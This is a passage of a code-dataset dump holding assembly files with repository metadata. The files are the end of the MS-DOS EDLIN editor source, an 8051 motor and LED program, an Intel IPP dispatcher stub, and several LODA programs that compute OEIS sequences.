MOV Param3,BX
CopyDone:
;
; we are done. Make current line the destination
;
MOV BX,Param3 ; set parameter 3 to be current
CALL FINDLIN
MOV [POINTER],DI
MOV [CURRENT],BX
return
Break <MoveFile - open up a hole in the internal file>
;
; MoveFile moves the text in the buffer to create a hole
;
; Inputs: DX is spot in buffer for destination
; DI is spot in buffer for source
MOVEFILE:
MOV CX,[ENDTXT] ;Get End-of-text marker
MOV SI,CX
SUB CX,DI ;Calculate number of bytes to copy
INC CX ; remember ^Z
MOV DI,DX
STD
REP MOVSB ;Copy CX bytes
XCHG SI,DI
CLD
INC DI
MOV BP,SI
SETPTS:
MOV [POINTER],DI ;Current line is first free loc
MOV [CURRENT],BX ; in the file
MOV [ENDTXT],BP ;End-of-text is last free loc before
return
NAMERR:
cmp ax,error_file_not_found
jne otherMergeErr
MOV DX,OFFSET DG:FILENM_ptr
JMP COMERR1
otherMergeErr:
mov ax,BADDRV
jmp zcomerr1
PUBLIC MERGE
MERGE:
CMP ParamCt,1
JZ MergeOK
JMP Comerr
MergeOK:
CALL KILL_BL
DEC SI
MOV DI,OFFSET DG:MRG_PATH_NAME
XOR CX,CX
CLD
MRG1:
LODSB
CMP AL," "
JE MRG2
CMP AL,9
JE MRG2
CMP AL,CR
JE MRG2
CMP AL,";"
JE MRG2
STOSB
JMP SHORT MRG1
MRG2:
MOV BYTE PTR[DI],0
DEC SI
MOV [COMLINE],SI
;=========================================================================
; implement EXTENDED OPEN
;=========================================================================
push es ;an000;save reg.
mov bx,ext_read ;an000;open for read
mov cx,ATTR ;an000;file attributes
mov dx,OPEN_FLAG ;an000;action to take on open
mov di,0ffffh ;an000;null parm list
call EXT_OPEN3 ;an000;create file;DMS:6/10/87
pop es ;an000;restore reg.
;=========================================================================
JC NAMERR
MOV [MRG_HANDLE],AX
MOV AX,(SET_INTERRUPT_VECTOR SHL 8) OR 23H
MOV DX,OFFSET DG:ABORTMERGE
INT 21H
MOV BX,[PARAM1]
OR BX,BX
JNZ MRG
MOV BX,[CURRENT]
CALL CHKRANGE
MRG:
CALL FINDLIN
MOV BX,DX
MOV DX,[LAST_MEM]
CALL MOVEFILE
MOV DX,[POINTER]
MOV CX,[ENDTXT]
SUB CX,[POINTER]
PUSH CX
MOV BX,[MRG_HANDLE]
MOV AH,READ
INT 21H
POP DX
MOV CX,AX
CMP DX,CX
JA FILEMRG ; M005
mov ax,mrgerr
call display_message
MOV CX,[POINTER]
JMP SHORT RESTORE_Z
FILEMRG:
ADD CX,[POINTER]
MOV SI,CX
dec si
LODSB
CMP AL,1AH
JNZ RESTORE_Z
dec cx
RESTORE_Z:
MOV DI,CX
MOV SI,[ENDTXT]
INC SI
MOV CX,[LAST_MEM]
SUB CX,SI
inc cx ; remember ^Z
REP MOVSB
dec di ; unremember ^Z
MOV [ENDTXT],DI
MOV BX,[MRG_HANDLE]
MOV AH,CLOSE
INT 21H
return
PUBLIC INSERT
INSERT:
CMP ParamCt,1
JBE OKIns
JMP ComErr
OKIns:
MOV AX,(SET_INTERRUPT_VECTOR SHL 8) OR 23H ;Set vector 23H
MOV DX,OFFSET DG:ABORTINS
INT 21H
MOV BX,[PARAM1]
OR BX,BX
JNZ INS
MOV BX,[CURRENT]
CALL CHKRANGE
INS:
CALL FINDLIN
MOV BX,DX
MOV DX,[LAST_MEM]
CALL MOVEFILE
INLP:
CALL SETPTS ;Update the pointers into file
CALL SHOWNUM
MOV DX,OFFSET DG:EDITBUF
MOV AH,STD_CON_STRING_INPUT
INT 21H
CALL LF
MOV SI,2 + OFFSET DG:EDITBUF
CMP BYTE PTR [SI],1AH
JZ ENDINS
;-----------------------------------------------------------------------
call unquote ;scan for quote chars if any
;-----------------------------------------------------------------------
MOV CL,[SI-1]
MOV CH,0
MOV DX,DI
INC CX
ADD DX,CX
JC MEMERRJ1
JZ MEMERRJ1
CMP DX,BP
JB MEMOK
MEMERRJ1:
CALL END_INS
JMP MEMERR
MEMOK:
REP MOVSB
MOV AL,10
STOSB
INC BX
JMP SHORT INLP
ABORTMERGE:
MOV DX,OFFSET DG:START
MOV AH,SET_DMA
INT 21H
ABORTINS:
MOV AX,CS ;Restore segment registers
MOV DS,AX
MOV ES,AX
MOV AX,CSTACK
MOV SS,AX
MOV SP,STACK
STI
CALL CRLF
CALL ENDINS
JMP COMOVER
ENDINS:
CALL END_INS
return
END_INS:
MOV BP,[ENDTXT]
MOV DI,[POINTER]
MOV SI,BP
INC SI
MOV CX,[LAST_MEM]
SUB CX,BP
REP MOVSB
DEC DI
MOV [ENDTXT],DI
MOV AX,(SET_INTERRUPT_VECTOR SHL 8) OR 23H
MOV DX,OFFSET DG:ABORTCOM
INT 21H
return
FILLBUF:
MOV [PARAM1],-1 ;Read in max. no of lines
MOV ParamCt,1
CALL APPEND
MOV Param1,0
PUBLIC ENDED
ENDED:
;Write text out to .$$$ file
CMP ParamCt,1
JZ ENDED1
CERR: JMP ComErr
Ended1:
CMP Param1,0
JNZ Cerr
MOV BYTE PTR [ENDING],1 ;Suppress memory errors
MOV BX,-1 ;Write max. no of lines
CALL WRT
TEST BYTE PTR [HAVEOF],-1
JZ FILLBUF
MOV DX,[ENDTXT]
MOV CX,1
MOV BX,[WRT_HANDLE]
MOV AH,WRITE
INT 21H ;Write end-of-file byte
;Close input file ; MZ 11/30
; MZ 11/30
MOV BX,[RD_HANDLE] ; MZ 11/30
MOV AH,CLOSE ; MZ 11/30
INT 21H ; MZ 11/30
;Close .$$$ file
MOV BX,[WRT_HANDLE]
MOV AH,CLOSE
INT 21H
;Rename original file .BAK
MOV DI,[EXT_PTR]
MOV SI,OFFSET DG:BAK
MOVSW
MOVSW
MOVSB
MOV DX,OFFSET DG:PATH_NAME
MOV DI,OFFSET DG:TEMP_PATH
MOV AH,RENAME
INT 21H
MOV DI,[EXT_PTR]
MOV SI,OFFSET DG:$$$FILE
MOVSW
MOVSW
MOVSB
;Rename .$$$ file to original name
MOV DX,OFFSET DG:TEMP_PATH
MOV DI,OFFSET DG:PATH_NAME
MOV AH,RENAME
INT 21H
; mode
mov ah,exit
xor al,al
int 21h
;=========================================================================
; EDLIN_DISP_GET: This routine will give us the attributes of the
; current display, which are to be used to restore the screen
; back to its original state on exit from EDLIN. We also
; set the screen to a text mode here with an 80 X 25 color
; format.
;
; Inputs : VIDEO_GET - 0fH (get current video mode)
; VIDEO_SET - 00h (set video mode)
; VIDEO_TEXT- 03h (80 X 25 color mode)
;
; Outputs : VIDEO_ORG - Original video attributes on entry to EDLIN
;
;=========================================================================
EDLIN_DISP_GET proc near ;an000;video attributes
push ax ;an000;save affected regs.
push bx ;an000;
push cx ;an000;
push dx ;an000;
push si ;an000;
push ds ;an000;
push cs ;an000;exchange cs/ds
pop ds ;an000;
mov ax,440Ch ;an000;generic ioctl
mov bx,Std_Out ;an000;Console
mov cx,(Display_Attr shl 8) or Get_Display ;an000;get display
mov dx,offset dg:Video_Buffer ;an000;buffer for video attr.
int 21h ;an000;
; $if nc ;an000;function returned a
JC $$IF15
; buffer
mov si,dx ;an000;get pointer
mov ax,word ptr dg:[si].Display_Length_Char ;an000;get video len.
dec ax ;an000;allow room for message
mov dg:Disp_Len,al ;an000;put it into var.
mov ax,word ptr dg:[si].Display_Width_Char ;an000;get video width
mov dg:Disp_Width,al ;an000;put it into var.
; $else ;an000;function failed use
JMP SHORT $$EN15
$$IF15:
; default values
mov al,Def_Disp_Len ;an000;get default length
dec al ;an000;leave room for messages
mov dg:Disp_Len,al ;an000;use default length
mov dg:Disp_Width,Def_Disp_Width;an000;use default width
; $endif ;an000;
$$EN15:
pop ds ;an000;restore affected regs.
pop si ;an000;
pop dx ;an000;
pop cx ;an000;
pop bx ;an000;
pop ax ;an000;
ret ;an000;return to caller
EDLIN_DISP_GET endp ;an000;end proc.
;=========================================================================
; EXT_OPEN1 : This routine opens a file for read/write access. If the file
; if not present for opening the open will fail and return with a
; carry set.
;
; Inputs : BX - Open mode
; CX - File attributes
; DX - Open action
;
; Outputs: CY - If error
;
; Date : 6/10/87
;=========================================================================
EXT_OPEN1 proc near ;an000;open for R/W
assume ds:dg
push ds ;an000;save regs
push si ;an000;
mov ah,ExtOpen ;an000;extended open
mov al,0 ;an000;reserved by system
mov si,offset dg:path_name ;an000;point to PATH_NAME
int 21h ;an000;invoke function
pop si ;an000;restore regs
pop ds ;an000;
ret ;an000;return to caller
EXT_OPEN1 endp ;an000;end proc.
;=========================================================================
; EXT_OPEN2 : This routine will attempt to create a file for read/write
; access. If the files exists the create will fail and return
; with the carry set.
;
; Inputs : BX - Open mode
; CX - File attributes
; DX - Open action
;
; Outputs: CY - If error
;
; Date : 6/10/87
;=========================================================================
EXT_OPEN2 proc near ;an000;create a file
assume ds:dg
push ds ;an000;save regs
push si ;an000;
mov ah,ExtOpen ;an000;extended open
mov al,0 ;an000;reserved by system
mov si,offset dg:temp_path ;an000;point to TEMP_PATH
int 21h ;an000;invoke function
pop si ;an000;restore regs
pop ds ;an000;
ret ;an000;return to caller
EXT_OPEN2 endp ;an000;end proc.
;=========================================================================
; EXT_OPEN3 : This routine will attempt to create a file for read
; access. If the files exists the create will fail and return
; with the carry set.
;
; Inputs : BX - Open mode
; CX - File attributes
; DX - Open action
;
; Outputs: CY - If error
;
; Date : 6/10/87
;=========================================================================
EXT_OPEN3 proc near ;an000;create a file
assume ds:dg
push ds ;an000;save regs
push si ;an000;
mov ah,ExtOpen ;an000;extended open
mov al,0 ;an000;reserved by system
mov si,offset dg:mrg_path_name ;an000;point to mrg_path_name
int 21h ;an000;invoke function
pop si ;an000;restore regs
pop ds ;an000;
ret ;an000;return to caller
EXT_OPEN3 endp ;an000;end proc.
;=========================================================================
; EDLIN_COMMAND : This routine provides an interface between the new
; parser and the existing logic of EDLIN. We will be
; interfacing the parser with three existing variables.
;
; Inputs : FILESPEC - Filespec entered by the user and passed by
; the parser.
;
; PARSE_SWITCH_B - Contains the result of the parse for the
; /B switch. This is passed by the parser.
;
; Outputs: PATH_NAME - Filespec
; LOADMOD - Flag for /B switch
; FNAME_LEN - Length of filespec
;
; Date : 6/11/87
;=========================================================================
EDLIN_COMMAND proc near ;an000;interface parser
push ax ;an000;save regs.
push cx ;an000;
push di ;an000
push si ;an000;
mov si,offset dg:filespec ;an000;get its offset
mov di,offset dg:path_name ;an000;get its offset
mov cx,00h ;an000;cx will count filespec
; length
cmp parse_switch_b,true ;an000;do we have /B switch
; $if z ;an000;we have the switch
JNZ $$IF18
mov [LOADMOD],01h ;an000;signal switch found
; $endif ;an000
$$IF18:
; $do ;an000;while we have filespec
$$DO20:
lodsb ;an000;move byte to al
cmp al,nul ;an000;see if we are at
; the end of the
; filespec
; $leave e ;an000;exit while loop
JE $$EN20
stosb ;an000;move byte to path_name
inc cx ;an000;increment the length
; of the filespec
; $enddo ;an000;end do while
JMP SHORT $$DO20
$$EN20:
mov [FNAME_LEN],cx ;an000;save filespec's length
pop si ;an000; restore regs
pop di ;an000;
pop cx ;an000;
pop ax ;an000;
ret ;an000;return to caller
EDLIN_COMMAND endp ;an000;end proc
;=========================================================================
; Calc_Memory_Avail : This routine will calculate the memory
; available for use by EDLIN.
;
; Inputs : ORG_DS - DS of PSP
;
; Outputs : DX - paras available
;=========================================================================
Calc_Memory_Avail proc near ;an000; dms;
push ds ;save ds for size calc
push cx ;an000; dms;
push di ;an000; dms;
mov ds,cs:[org_ds]
MOV CX,DS:[2]
MOV DI,CS
SUB CX,DI
mov dx,cx ;an000; dms;put paras in DX
pop di ;an000; dms;
pop cx ;an000; dms;
pop ds ;an000; dms;
ret ;an000; dms;
Calc_Memory_Avail endp ;an000; dms;
;=========================================================================
; EA_Fail_Exit : This routine tells the user that there was
; Insufficient memory and exits EDLIN.
;
; Inputs : MemFul_Ptr - "Insufficient memory"
;
; Outputs : message
;=========================================================================
EA_Fail_Exit proc near ;an000; dms;
mov dx,offset dg:MemFul_Ptr ;an000; dms;"Insufficient
push cs ;an000; dms;xchange ds/cs
pop ds ;an000; dms;
; memory"
call Std_Printf ;an000; dms;print message
mov ah,exit ;an000; dms;exit
xor al,al ;an000; dms;clear al
int 21h ;an000; dms;
ret ;an000; dms;
EA_Fail_Exit endp ;an000; dms;
CODE ENDS
END EDLIN
| 22.676393 | 84 | 0.632004 |
22e96bc1666cae90f71647322e4d4dfc887d7e6e | 940 | asm | Assembly | motor.asm | zaiyr00/CS-308-Final-project | 6413971f83335f0276a31081641169164af89cc9 | [
"Apache-2.0"
] | null | null | null | motor.asm | zaiyr00/CS-308-Final-project | 6413971f83335f0276a31081641169164af89cc9 | [
"Apache-2.0"
] | null | null | null | motor.asm | zaiyr00/CS-308-Final-project | 6413971f83335f0276a31081641169164af89cc9 | [
"Apache-2.0"
] | null | null | null |
MOV TMOD, #50H
SETB TR1
MOV DPL, #LOW(LEDcodes)
MOV DPH, #HIGH(LEDcodes)
CLR P3.4
CLR P3.3
again:
CALL setDirection
MOV A, TL1
CJNE A, #10, skip
CALL clearTimer
skip:
MOVC A, @A+DPTR
MOV C, F0
MOV ACC.7, C
MOV P1, A
JMP again
setDirection:
PUSH ACC
PUSH 20H
CLR A
MOV 20H, #0
MOV C, P2.0
MOV ACC.0, C
MOV C, F0
MOV 0, C
CJNE A, 20H, changeDir
JMP finish
changeDir:
CLR P3.0
CLR P3.1
CALL clearTimer
MOV C, P2.0
MOV F0, C
MOV P3.0, C
CPL C
MOV P3.1, C
finish:
POP 20H
POP ACC
RET
clearTimer:
CLR A
CLR TR1
MOV TL1, #0
SETB TR1
RET
LEDcodes:
DB 11000000B, 11111001B, 10100100B, 10110000B, 10011001B, 10010010B, 10000010B, 11111000B, 10000000B, 10010000B
| 12.702703 | 115 | 0.502128 |
38136cde957774cc7dc2a5f51edce2d4a33b3ecb | 1,013 | asm | Assembly | _build/dispatcher/jmp_ippsDLPGetSize_1b609b9b.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | 1 | 2021-10-04T10:21:54.000Z | 2021-10-04T10:21:54.000Z | _build/dispatcher/jmp_ippsDLPGetSize_1b609b9b.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | _build/dispatcher/jmp_ippsDLPGetSize_1b609b9b.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | extern m7_ippsDLPGetSize:function
extern n8_ippsDLPGetSize:function
extern y8_ippsDLPGetSize:function
extern e9_ippsDLPGetSize:function
extern l9_ippsDLPGetSize:function
extern n0_ippsDLPGetSize:function
extern k0_ippsDLPGetSize:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsDLPGetSize
.Larraddr_ippsDLPGetSize:
dq m7_ippsDLPGetSize
dq n8_ippsDLPGetSize
dq y8_ippsDLPGetSize
dq e9_ippsDLPGetSize
dq l9_ippsDLPGetSize
dq n0_ippsDLPGetSize
dq k0_ippsDLPGetSize
segment .text
global ippsDLPGetSize:function (ippsDLPGetSize.LEndippsDLPGetSize - ippsDLPGetSize)
.Lin_ippsDLPGetSize:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsDLPGetSize:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsDLPGetSize]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsDLPGetSize:
| 25.974359 | 83 | 0.782823 |
ac65188978b5460c631ceef66db7edaed4955972 | 2,559 | asm | Assembly | programs/oeis/017/A017055.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/017/A017055.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/017/A017055.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A017055: a(n) = (7*n + 6)^3.
; 216,2197,8000,19683,39304,68921,110592,166375,238328,328509,438976,571787,729000,912673,1124864,1367631,1643032,1953125,2299968,2685619,3112136,3581577,4096000,4657463,5268024,5929741,6644672,7414875,8242408,9129329,10077696,11089567,12167000,13312053,14526784,15813251,17173512,18609625,20123648,21717639,23393656,25153757,27000000,28934443,30959144,33076161,35287552,37595375,40001688,42508549,45118016,47832147,50653000,53582633,56623104,59776471,63044792,66430125,69934528,73560059,77308776,81182737,85184000,89314623,93576664,97972181,102503232,107171875,111980168,116930169,122023936,127263527,132651000,138188413,143877824,149721291,155720872,161878625,168196608,174676879,181321496,188132517,195112000,202262003,209584584,217081801,224755712,232608375,240641848,248858189,257259456,265847707,274625000,283593393,292754944,302111711,311665752,321419125,331373888,341532099,351895816,362467097,373248000,384240583,395446904,406869021,418508992,430368875,442450728,454756609,467288576,480048687,493039000,506261573,519718464,533411731,547343432,561515625,575930368,590589719,605495736,620650477,636056000,651714363,667627624,683797841,700227072,716917375,733870808,751089429,768575296,786330467,804357000,822656953,841232384,860085351,879217912,898632125,918330048,938313739,958585256,979146657,1000000000,1021147343,1042590744,1064332261,1086373952,1108717875,1131366088,1154320649,1177583616,1201157047,1225043000,1249243533,1273760704,1298596571,1323753192,1349232625,1375036928,1401168159,1427628376,1454419637,1481544000,1509003523,1536800264,1564936281,1593413632,1622234375,1651400568,1680914269,1710777536,1740992427,1771561000,1802485313,1833767424,1865409391,1897413272,1929781125,1962515008,1995616979,2029089096,2062933417,2097152000,2131746903,2166720184,2202073901,2237810112,2273930875,2310438248,2347334289,2384621056,2422300607,2460375000,2498846293,2537716544,2576987811,2616662152,2656741625,2697228288,2738124199,2779431416,2821151997,2863288000,2905841483,2948814504,2992209121,3036027392,3080271375,3124943128,3170044709,3215578176,3261545587,3307949000,3354790473,3402072064,3449795831,3497963832,3546578125,3595640768,3645153819,3695119336,3745539377,3796416000,3847751263,3899547224,3951805941,4004529472,4057719875,4111379208,4165509529,4220112896,4275191367,4330747000,4386781853,4443297984,4500297451,4557782312,4615754625,4674216448,4733169839,4792616856,4852559557,4913000000,4973940243,5035382344,5097328361,5159780352,5222740375,5286210488,5350192749
mul $0,7
add $0,6
pow $0,3
mov $1,$0
| 319.875 | 2,489 | 0.887456 |
121683b140548d278de7ed3aa48279365f640be1 | 554 | asm | Assembly | oeis/017/A017501.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/017/A017501.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/017/A017501.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A017501: a(n) = (11*n + 9)^5.
; 59049,3200000,28629151,130691232,418195493,1073741824,2373046875,4704270176,8587340257,14693280768,23863536599,37129300000,55730836701,81136812032,115063617043,159494694624,216699865625,289254654976,380059617807,492359665568,629763392149,796262400000,996250626251,1234543668832,1516398112593,1847530855424,2234138434375,2682916351776,3201078401357,3796375994368,4477117485699,5252187500000,6131066257801,7123848901632,8241264822143,9494696984224,10896201253125,12458525720576,14195130030907
mul $0,11
add $0,9
pow $0,5
| 79.142857 | 492 | 0.870036 |
e3dbecbf7bf6bb9aa081f935343e49e5f18ff5b4 | 2,551 | asm | Assembly | programs/oeis/157/A157509.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/157/A157509.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/157/A157509.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A157509: a(n) = 13122*n^2 - 324*n + 1.
; 12799,51841,117127,208657,326431,470449,640711,837217,1059967,1308961,1584199,1885681,2213407,2567377,2947591,3354049,3786751,4245697,4730887,5242321,5779999,6343921,6934087,7550497,8193151,8862049,9557191,10278577,11026207,11800081,12600199,13426561,14279167,15158017,16063111,16994449,17952031,18935857,19945927,20982241,22044799,23133601,24248647,25389937,26557471,27751249,28971271,30217537,31490047,32788801,34113799,35465041,36842527,38246257,39676231,41132449,42614911,44123617,45658567,47219761,48807199,50420881,52060807,53726977,55419391,57138049,58882951,60654097,62451487,64275121,66124999,68001121,69903487,71832097,73786951,75768049,77775391,79808977,81868807,83954881,86067199,88205761,90370567,92561617,94778911,97022449,99292231,101588257,103910527,106259041,108633799,111034801,113462047,115915537,118395271,120901249,123433471,125991937,128576647,131187601,133824799,136488241,139177927,141893857,144636031,147404449,150199111,153020017,155867167,158740561,161640199,164566081,167518207,170496577,173501191,176532049,179589151,182672497,185782087,188917921,192079999,195268321,198482887,201723697,204990751,208284049,211603591,214949377,218321407,221719681,225144199,228594961,232071967,235575217,239104711,242660449,246242431,249850657,253485127,257145841,260832799,264546001,268285447,272051137,275843071,279661249,283505671,287376337,291273247,295196401,299145799,303121441,307123327,311151457,315205831,319286449,323393311,327526417,331685767,335871361,340083199,344321281,348585607,352876177,357192991,361536049,365905351,370300897,374722687,379170721,383644999,388145521,392672287,397225297,401804551,406410049,411041791,415699777,420384007,425094481,429831199,434594161,439383367,444198817,449040511,453908449,458802631,463723057,468669727,473642641,478641799,483667201,488718847,493796737,498900871,504031249,509187871,514370737,519579847,524815201,530076799,535364641,540678727,546019057,551385631,556778449,562197511,567642817,573114367,578612161,584136199,589686481,595263007,600865777,606494791,612150049,617831551,623539297,629273287,635033521,640819999,646632721,652471687,658336897,664228351,670146049,676089991,682060177,688056607,694079281,700128199,706203361,712304767,718432417,724586311,730766449,736972831,743205457,749464327,755749441,762060799,768398401,774762247,781152337,787568671,794011249,800480071,806975137,813496447,820044001
add $0,1
mov $1,$0
add $1,$0
mul $0,-9
pow $0,2
add $1,23
mov $2,6
add $2,$1
sub $0,$2
mov $1,$0
sub $1,50
mul $1,162
add $1,12799
| 150.058824 | 2,377 | 0.870247 |
ad5a7bffa92c117c10d024c7bde9286b057c388f | 147 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_char2.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_char2.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_char2.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: zel_char2.asm
Type: file
Size: 14968
Last-Modified: '2016-05-13T04:20:48Z'
SHA-1: EBA766E19F8DFB0806A122362485B50C8E294E40
Description: null
| 21 | 47 | 0.816327 |
cf58726203d0a24ff6d94e05d28c585e4353af01 | 25 | a51 | Assembly | a51test/(B3)CPL_C.a51 | Aimini/51cpu | cdeb75510d1dcd867fbebe10e963c4dbecd5ff13 | [
"MIT"
] | null | null | null | a51test/(B3)CPL_C.a51 | Aimini/51cpu | cdeb75510d1dcd867fbebe10e963c4dbecd5ff13 | [
"MIT"
] | null | null | null | a51test/(B3)CPL_C.a51 | Aimini/51cpu | cdeb75510d1dcd867fbebe10e963c4dbecd5ff13 | [
"MIT"
] | null | null | null | START:
CPL C
SJMP START | 8.333333 | 11 | 0.72 |
ca21fbf4aa20c83d3222c8ca07fa1567e1dea974 | 160 | asm | Assembly | u7-common/patch-anyKeyExitsMap.asm | JohnGlassmyer/UltimaHacks | f9a114e00c4a1edf1ac7792b465feff2c9b88ced | [
"MIT"
] | 68 | 2018-03-04T22:34:22.000Z | 2022-03-10T15:18:32.000Z | u7-common/patch-anyKeyExitsMap.asm | ptrie/UltimaHacks | 2c3557a86d94ad8b54b26bc395b9aed1604f8be1 | [
"MIT"
] | 19 | 2018-11-20T04:06:49.000Z | 2021-11-08T16:37:10.000Z | u7-common/patch-anyKeyExitsMap.asm | ptrie/UltimaHacks | 2c3557a86d94ad8b54b26bc395b9aed1604f8be1 | [
"MIT"
] | 4 | 2020-09-01T17:57:36.000Z | 2022-01-04T20:51:11.000Z | [bits 16]
startPatch EXE_LENGTH, spaceEndsKeyMouse
startBlockAt addr_valueForKey
callFromOverlay waitForClickOrKey
endBlockAt off_valueForKey_end
endPatch
| 20 | 40 | 0.875 |
6c8e69702a8da6eca9274b231d3a5993f2425e77 | 136 | asm | Assembly | src/firmware-tests/Platform/ShiftRegister/EnableShiftRegisterDummy.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | 1 | 2019-12-12T09:07:08.000Z | 2019-12-12T09:07:08.000Z | src/firmware-tests/Platform/ShiftRegister/EnableShiftRegisterDummy.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | null | null | null | src/firmware-tests/Platform/ShiftRegister/EnableShiftRegisterDummy.asm | pete-restall/Cluck2Sesame-Prototype | 99119b6748847a7b6aeadc4bee42cbed726f7fdc | [
"MIT"
] | null | null | null | #include "Platform.inc"
radix decimal
EnableShiftRegisterDummy code
global enableShiftRegister
enableShiftRegister:
return
end
| 11.333333 | 29 | 0.816176 |
3dcf9709793019207ec5ced31378b9cc12946273 | 837 | asm | Assembly | oeis/142/A142750.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142750.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142750.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142750: Primes congruent to 23 mod 59.
; Submitted by Jon Maiga
; 23,613,967,1321,1439,2029,2383,3209,3917,4153,4271,4507,4861,5333,5569,5923,6277,7103,7457,9109,9227,9463,9817,10289,11351,11587,11941,12413,13003,13121,13711,13829,14419,14537,14891,16189,16661,17959,18077,18313,19139,20201,21499,21617,22679,23269,23623,23741,23977,25747,26573,26927,27281,28579,28697,28933,29287,29641,29759,30113,30467,30703,31883,32119,32237,33181,33889,34361,35069,35423,36013,36131,36721,37547,37783,38609,39199,39317,39671,43093,43801,44273,46279,46633,46751,47459,48049
mov $1,11
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
add $1,3
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,56
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,117
| 33.48 | 496 | 0.727599 |
2b4560254d54bdc1e5101b9bb543f2c707708565 | 582 | asm | Assembly | oeis/127/A127554.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/127/A127554.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/127/A127554.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A127554: Sum of the digits of left factorial !n.
; Submitted by Jon Maiga
; 0,1,2,4,1,7,10,19,19,19,19,28,37,37,55,55,37,46,46,73,73,64,82,100,100,118,109,100,127,127,145,118,163,145,154,172,172,154,181,181,199,172,226,208,253,226,262,262,253,271,235,271,262,280,325,325,307,343,334,334,298,352,361,352,334,388,406,370,424,442,433,424,433,460,460,451,505,451,478,496,532,541,532,568,514,577,586,613,532,568,586,523,550,667,631,676,631,676,667,694
seq $0,3422 ; Left factorials: !n = Sum_{k=0..n-1} k!.
seq $0,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n).
| 83.142857 | 372 | 0.704467 |
420bf6a9aed68981ede68526a86a4fef690df3d8 | 448 | asm | Assembly | libsrc/target/g800/invlcd.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/g800/invlcd.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/g800/invlcd.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
